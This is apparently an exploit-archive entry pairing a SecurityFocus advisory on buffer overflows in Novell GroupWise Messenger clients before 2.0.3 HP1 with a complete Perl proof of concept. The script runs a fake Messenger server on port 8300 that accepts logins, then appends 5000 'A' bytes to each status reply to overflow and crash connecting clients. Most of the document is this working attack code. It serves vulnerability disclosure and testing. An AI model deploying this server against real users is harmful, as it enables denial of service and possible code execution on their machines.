Novell GroupWise Messenger 2.0 - Client Buffer Overflow Vulnerabilities

                                                source: http://www.securityfocus.com/bid/29602/info

Novell GroupWise Messenger is prone to two buffer-overflow vulnerabilities because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized buffer.

Attackers can exploit these issues to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Versions prior to Novell GroupWise Messenger 2.0.3 HP1 are vulnerable.

#!/usr/bin/perl -w

##
#Simple fake groupwise msn server.
#Date: 07/02/2008
#[ISR] - www.infobyte.com.ar
#Author: Francisco Amato
##

use strict;
use IO::Socket;
use Data::Dump qw(dump);

my $port=8300;
my $conn="HTTP/1.0 200 \r\nDate: Sat, 12 Jan 2008 01:28:59 GMT\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n\n\0\20\0\0\0nnmFileTransfer\0\2\0\0\x000\0\n\0\t\0\0\0nnmQuery\0\2\0\0\x001\0\n\0\13\0\0\0nnmArchive\0\2\0\0\x001\0\n\0\24\0\0\0nnmPasswordRemember\0\2\0\0\x001\0\n\0\17\0\0\0nnmMaxContacts\0\4\0\0\x00150\0\n\0\16\0\0\0nnmMaxFolders\0\3\0\0\x0050\0\n\0\r\0\0\0nnmBroadcast\0\2\0\0\x001\0\n\0\23\0\0\0nnmPersonalHistory\0\2\0\0\x001\0\n\0\r\0\0\0nnmPrintSave\0\2\0\0\x001\0\n\0\17\0\0\0nnmChatService\0\2\0\0\x001\0\n\0\3\0\0\0CN\0\a\0\0\0ISR000\0\n\0\b\0\0\0Surname\0\6\0\0\0Amato\0\n\0\n\0\0\0Full Name\0\20\0\0\0Client Name    \0\n\0\13\0\0\0Given Name\0\n\0\0\0Client   \0\n\0\r\0\0\0nnmLastLogin\0\13\0\0\x001200112090\0\t\0\30\0\0\0NM_A_FA_CLIENT_SETTINGS\0\1\0\0\0\n\0\21\0\0\0Novell.AskToSave\0\2\0\0\x001\0\t\0\e\0\0\0NM_A_FA_INFO_DISPLAY_ARRAY\0\1\0\0\0\n\0\27\0\0\0Internet EMail Address\0\26\0\0\0xxxxx\@xxxxxxxx.com.xx\0\b\0\16\0\0\0NM_A_UD_BUILD\0\a\0\0\0\n\0\13\0\0\0NM_A_SZ_DN\x001\0\0\0CN=ISR000,OU=IT,OU=ISR_,OU=BA,OU=AR,O=INFOBYTEXX\0\t\0\24\0\0\0NM_A_FA_AU_SETTINGS\0\1\0\0\0\n\0\22\0\0\0nnmClientDownload\0\2\0\0\x000\0\b\0\22\0\0\0NM_A_UD_KEEPALIVE\0\n\0\0\0\n\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0\n\0\27\0\0\0NM_A_SZ_TRANSACTION_ID\0\2\0\0\x001\0\0";
my $resp="HTTP/1.0 200 \r\nDate: Fri, 04 Jan 2008 09:55:40 GMT\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n\n\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0\n\0\27\0\0\0NM_A_SZ_TRANSACTION_ID\0\2\0\0\x00c0d3\0\0";
my $crash="A"x5000;
#initial
&main;

##########################################################################
# FUNCTION	main
# RECEIVES
# RETURNS
# EXPECTS
# DOES		application's startup
sub main {

    #ignore child's process
    $SIG{CHLD} = 'IGNORE';

    my $listen_socket = IO::Socket::INET->new(LocalPort => $port,
					      Listen => 10,
					      Proto => 'tcp',
					      Reuse => 1);

    die "Cant't create a listening socket: $@" unless $listen_socket;

    print "[ISR] www.infobyte.com.ar - Francisco Amato\n";
    print "[Groupwise Messager] Fake Server ready. Waiting for connections ... \n";

    #esperar conexiones
    while (my $connection = $listen_socket->accept){

	my $child;
	# crear el fork para salir
	die "Can't fork: $!" unless defined ($child = fork());

	#child
	if ($child == 0){

	    #close socket
	    $listen_socket->close;

	    #process request
	    &client($connection);

	    exit 0;
	}
	#father
	else{

	    warn "Connecton recieved ... ",$connection->peerhost,"\n";

	    #close connection
	    $connection->close();

	}
    }
}
##########################################################################
# FUNCTION	client
# RECEIVES
# RETURNS
# EXPECTS
# DOES		process client request
sub client{

    my ($socket) = @_;
    my $st=2; #initial code

    $|=1;

    my $rp;
    my $data = <$socket>;
    pdata($data);
    if ($data =~ /POST \/login/){
	$data = <$socket>;
	pdata($data);
	$data = <$socket>;
	pdata($data);
	$data = <$socket>;
	pdata($data);
	printf $socket $conn;
	pdata($conn,1);
	while ($data = <$socket>){ #commands
	    if ($data =~ /POST \/setstatus/){

		pdata($data);
		$data = <$socket>;
		pdata($data);
		$data = <$socket>;
		pdata($data);

		$rp=$resp;
		$rp =~ s/c0d3/$st/g;
		$rp .=$crash;
		printf $socket $rp;
		pdata($rp,1);
		$st++;

	    }else{
		pdata("ELSE -". $data);
	    }
	}
    }
    close($socket);

}
##########################################################################
# FUNCTION	pdata
# RECEIVES
# RETURNS
# EXPECTS
# DOES		debug information
sub pdata {
    my ($data,$orden) =@_;
    if ($orden){
	print "[SERVER] - ";
    }else{
	print "[CLIENT] - ";
    }
    print dump($data) . "\n";
}